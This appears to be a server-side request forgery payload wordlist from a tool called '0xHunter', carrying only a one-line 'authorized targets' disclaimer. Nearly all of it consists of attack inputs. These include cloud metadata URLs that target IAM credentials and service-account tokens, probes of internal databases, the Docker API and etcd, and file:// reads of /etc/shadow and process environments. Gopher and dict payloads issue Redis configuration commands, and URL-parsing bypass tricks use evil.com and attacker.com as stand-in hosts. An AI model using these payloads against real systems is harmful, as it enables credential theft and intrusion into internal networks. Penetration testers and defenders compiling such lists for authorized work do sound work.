# 0xHunter SSRF (Server-Side Request Forgery) Payloads
# Use responsibly and only on authorized targets

# AWS Metadata Service
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/hostname

# AWS IMDSv2
http://169.254.169.254/latest/api/token

# Google Cloud Metadata
http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Azure Metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token

# Internal Network Scanning
http://localhost/
http://127.0.0.1/
http://0.0.0.0/
http://[::1]/
http://localhost:8080/
http://localhost:8443/
http://localhost:3000/
http://localhost:5000/
http://localhost:9200/
http://localhost:6379/
http://localhost:5432/
http://localhost:3306/
http://localhost:27017/

# Common Internal Services
http://192.168.1.1/
http://10.0.0.1/
http://172.16.0.1/

# Kubernetes
http://kubernetes.default.svc/
http://kubernetes.default/
http://10.96.0.1/

# Docker
http://172.17.0.1/

# SSRF via URL bypass tricks
http://127.0.0.1@attacker.com/
http://localhost#attacker.com
http://127.0.0.1%00.attacker.com
http://127.1/
http://0177.0.0.1/
http://2130706433/

# File Protocol
file:///etc/passwd
file:///c:/windows/win.ini
file:///proc/self/environ

# Other protocols
dict://localhost:6379/info
gopher://localhost:6379/_INFO
ftp://localhost/
ldap://localhost/
http://127.0.0.1
http://localhost
http://0.0.0.0
http://[::1]
http://0x7f000001
http://2130706433
http://127.1
http://127.0.1
http://127.00.1
http://0177.0.0.1
http://169.254.169.254
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/Ram/security-credentials/
http://192.168.0.1
http://192.168.1.1
http://10.0.0.1
http://10.0.0.254
http://172.16.0.1
http://172.31.255.254
dict://127.0.0.1:6379/info
dict://127.0.0.1:6379/CONFIG SET dir /tmp
dict://127.0.0.1:11211/stats
gopher://127.0.0.1:9200/_cat/indices
gopher://127.0.0.1:6379/_CONFIG SET dir /tmp
gopher://127.0.0.1:3306/
gopher://127.0.0.1:27017/
file:///etc/passwd
file:///etc/shadow
file:///etc/hosts
file:///proc/self/environ
file:///proc/self/cmdline
file:///proc/version
file:///windows/win.ini
file:///c:/windows/win.ini
file:///c:/boot.ini
ftp://127.0.0.1/
sftp://127.0.0.1/
ldap://127.0.0.1/
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:8080
http://127.0.0.1:8443
http://127.0.0.1:9200
http://127.0.0.1:6379
http://127.0.0.1:3306
http://127.0.0.1:5432
http://127.0.0.1:27017
http://127.0.0.1:11211
http://127.0.0.1:2375
http://127.0.0.1:4243
http://127.0.0.1:2379
http://127.0.0.1:4001
http://127.0.0.1:8500
http://127.0.0.1:5601
http://127.0.0.1:9000
http://127.0.0.1:15672
http://127.0.0.1:5672
http://127.0.0.1:61616
http://127.0.0.1:4848
http://127.0.0.1:7001
http://127.0.0.1:8161
http://127.0.0.1:8888
http://169.254.169.254.evil.com/
@127.0.0.1
http://@127.0.0.1
http://evil.com@127.0.0.1
http://127.0.0.1#evil.com
http://127.0.0.1?@evil.com
http://127.0.0.1%00evil.com
http://127.0.0.1%2f%2fevil.com
http:127.0.0.1
//127.0.0.1
\x68\x74\x74\x70\x3a\x2f\x2f\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31
http://①②⑦.⓪.⓪.①
http://127.0.0.1.nip.io
http://127.0.0.1.xip.io
http://169.254.169.254/latest/api/token
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/instance-id
http://169.254.169.254/latest/meta-data/instance-type
http://169.254.169.254/latest/meta-data/local-ipv4
http://169.254.169.254/latest/meta-data/public-ipv4
http://169.254.169.254/latest/meta-data/security-groups
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://metadata.google.internal/computeMetadata/v1/instance/
http://metadata.google.internal/computeMetadata/v1/project/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email
http://metadata.google.internal/computeMetadata/v1/instance/attributes/ssh-keys
http://127.0.0.1:5984/
http://127.0.0.1:5984/_all_dbs
http://127.0.0.1:9200/_cat/indices
http://127.0.0.1:9200/_nodes
http://127.0.0.1:8080/manager/html
http://127.0.0.1:8080/solr/admin/info/system
http://127.0.0.1:4848/
http://127.0.0.1:8161/admin/
http://127.0.0.1:15672/
http://127.0.0.1:8500/v1/agent/self
http://127.0.0.1:8500/v1/kv/
http://127.0.0.1:2375/version
http://127.0.0.1:2375/containers/json
http://127.0.0.1:2375/images/json
http://127.0.0.1:4243/version
http://127.0.0.1:2379/v2/keys
http://127.0.0.1:4001/v2/keys
